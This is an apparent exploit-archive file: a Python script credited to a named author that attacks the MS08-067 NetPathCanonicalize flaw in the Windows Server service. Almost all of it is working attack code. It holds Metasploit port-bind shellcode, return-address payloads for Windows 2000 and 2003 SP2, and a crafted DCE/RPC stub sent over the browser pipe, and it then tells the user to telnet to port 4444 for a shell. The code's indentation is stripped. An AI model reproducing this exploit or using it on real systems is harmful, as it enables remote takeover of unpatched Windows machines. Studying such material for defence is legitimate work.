ms08067-2k2k3.txt

`#!/usr/bin/env python  
#############################################################################  
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)  
# www.hackingspirits.com  
# www.coffeeandsecurity.com  
# Email: d3basis.m0hanty @ gmail.com  
#############################################################################  
  
import struct  
import sys  
  
from threading import Thread #Thread is imported incase you would like to modify  
#the src to run against multiple targets.  
  
try:  
from impacket import smb  
from impacket import uuid  
from impacket.dcerpc import dcerpc  
from impacket.dcerpc import transport  
except ImportError, _:  
print 'Install the following library to make this script work'  
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'  
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'  
sys.exit(1)  
  
  
print '#######################################################################'  
print '# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'  
print '# www.hackingspirits.com'  
print '# www.coffeeandsecurity.com'  
print '# Email: d3basis.m0hanty @ gmail.com'  
print '#######################################################################\n'  
  
  
#Portbind shellcode from metasploit; Binds port to TCP port 4444  
shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"  
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"  
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"  
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"  
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"  
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"  
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"  
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"  
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"  
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"  
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"  
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"  
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"  
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"  
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"  
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"  
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"  
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"  
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"  
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"  
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"  
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"  
  
  
#Payload for Windows 2000 target  
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'  
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'  
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'  
payload_1+='\x41\x41'  
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'  
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'  
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'  
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'  
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'  
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'  
payload_1+='\xeb\xcc'  
payload_1+='\x00\x00'  
  
#Payload for Windows 2003[SP2] target  
payload_2='\x41\x00\x5c\x00'  
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'  
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'  
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'  
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'  
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'  
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'  
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'  
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'  
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'  
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'  
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'  
  
  
if sys.argv[2]=='1': #Windows 2000 Payload  
payload=payload_1  
print '[-]Windows 2000 payload loaded'  
if sys.argv[2]=='2': #Windows 2003[SP2] Payload  
payload=payload_2  
print '[-]Windows 2003[SP2] payload loaded'  
  
  
class SRVSVC_Exploit(Thread):  
def __init__(self, target, osver, port=445):  
super(SRVSVC_Exploit, self).__init__()  
self.__port = port  
self.target = target  
self.osver = osver  
  
def __DCEPacket(self):  
print '[-]Initiating connection'  
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)  
self.__trans.connect()  
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target  
self.__dce = self.__trans.DCERPC_class(self.__trans)  
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))  
  
# Constructing Malicious Packet  
self.__stub='\x01\x00\x00\x00'  
self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'  
self.__stub+=shellcode  
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'  
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'  
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'  
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'  
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'  
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'  
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'  
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'  
self.__stub+='\x00\x00\x00\x00'  
self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'  
self.__stub+=payload  
self.__stub+='\x00\x00\x00\x00'  
self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'  
self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'  
self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'  
self.__stub+='\x01\x00\x00\x00'  
return  
  
def run(self):  
self.__DCEPacket()  
self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation  
print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'  
  
if __name__ == '__main__':  
try:  
target = sys.argv[1]  
osver = sys.argv[2]  
except IndexError:  
print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]  
print 'Example: srvsvcexpl.py 192.168.1.1 2\n'  
print 'Select OS Version'  
print '[-]Windows 2000: OS Version = 1'  
print '[-]Windows 2003[SP2]: OS Version = 2'  
  
sys.exit(-1)  
  
current = SRVSVC_Exploit(target, osver)  
current.start()  
#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'  
  
`